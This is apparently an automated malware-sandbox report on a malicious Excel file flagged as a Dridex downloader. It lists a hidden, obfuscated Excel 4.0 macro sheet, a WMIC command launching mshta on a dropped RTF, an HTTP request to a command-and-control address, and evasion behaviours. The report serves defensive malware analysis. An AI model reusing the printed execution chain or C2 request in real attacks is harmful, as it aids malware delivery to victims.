Source: global traffic HTTP traffic detected: GET /Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 132.148.135.183:8080Connection: Keep-Alive

E-Banking Fraud:

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Yara detected Dridex Downloader
Source: Yara match File source: C:\ProgramData\UXcqTE.rtf, type: DROPPED

System Summary:

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Found Excel 4.0 Macro with suspicious formulas
Source: 474556085436219490680.xlsb Initial sample: EXEC
Found protected and hidden Excel 4.0 Macro sheet
Source: 474556085436219490680.xlsb Initial sample: Sheet name: Macro1
Contains functionality to create processes via WMI
Source: WMIC.exe, 0000000A.00000002.389782901.0000000000DD0000.00000004.00000020.sdmp Binary or memory string: C:\Users\user\Documents\C:\Windows\SysWOW64\Wbem\wmic.exewmic process call create "mshta C:\ProgramData\UXcqTE.rtf"C:\Windows\System32\Wbem\wmic.exeWinSta0\Default
Found obfuscated Excel 4.0 Macro
Source: 474556085436219490680.xlsb Macro extractor: Sheet: Macro1 high usage of CHAR() function: 60
Found a hidden Excel 4.0 Macro sheet
Source: 474556085436219490680.xlsb Macro extractor: Sheet name: Macro1
Searches for the Microsoft Outlook file path
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Source: 474556085436219490680.xlsb Virustotal: Detection: 28%
Source: 474556085436219490680.xlsb ReversingLabs: Detection: 22%
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA Jump to behavior
Source: unknown Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic process call create "mshta C:\ProgramData\UXcqTE.rtf"
Source: C:\Windows\SysWOW64\wbem\WMIC.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Windows\System32\mshta.exe mshta C:\ProgramData\UXcqTE.rtf
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic process call create "mshta C:\ProgramData\UXcqTE.rtf" Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4848:120:WilError_01
Source: C:\Windows\SysWOW64\wbem\WMIC.exe WMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : Win32_Process::Create
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\{82298B76-E742-412E-832C-DA03DD2C2E92} - OProcSessId.dat Jump to behavior
Source: classification engine Classification label: mal92.troj.expl.evad.winXLSB@5/9@0/1
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Automated click: OK
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Automated click: OK
Source: Window Recorder Window detected: More than 3 window changes detected
Source: 474556085436219490680.xlsb Initial sample: OLE zip file path = xl/media/image2.png
Source: 474556085436219490680.xlsb Initial sample: OLE zip file path = xl/media/image1.png
Source: 474556085436219490680.xlsb Initial sample: OLE zip file path = docProps/custom.xml
Source: B6E3948D.tmp.0.dr Initial sample: OLE zip file path = xl/media/image1.png
Source: B6E3948D.tmp.0.dr Initial sample: OLE zip file path = xl/media/image2.png
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File opened: C:\Windows\SysWOW64\MSVCR100.dll Jump to behavior

Persistence and Installation Behavior:

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Creates processes via WMI
Source: C:\Windows\SysWOW64\wbem\WMIC.exe WMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : Win32_Process::Create

Hooking and other Techniques for Hiding and Protection:

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Creates and opens a fake document (probably a fake document to hide exploiting)
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: cmd line: uxcqte.rtf Jump to behavior
Source: unknown Process created: cmd line: uxcqte.rtf
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

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Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed

HIPS / PFW / Operating System Protection Evasion:

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Yara detected Xls With Macro 4.0
Source: Yara match File source: app.xml, type: SAMPLE
Source: mshta.exe, 0000000C.00000002.549766149.00000238E4A90000.00000002.00020000.sdmp Binary or memory string: Program Manager
Source: mshta.exe, 0000000C.00000002.549766149.00000238E4A90000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: mshta.exe, 0000000C.00000002.549766149.00000238E4A90000.00000002.00020000.sdmp Binary or memory string: Progman
Source: mshta.exe, 0000000C.00000002.549766149.00000238E4A90000.00000002.00020000.sdmp Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

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Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation Jump to behavior
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation Jump to behavior
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation Jump to behavior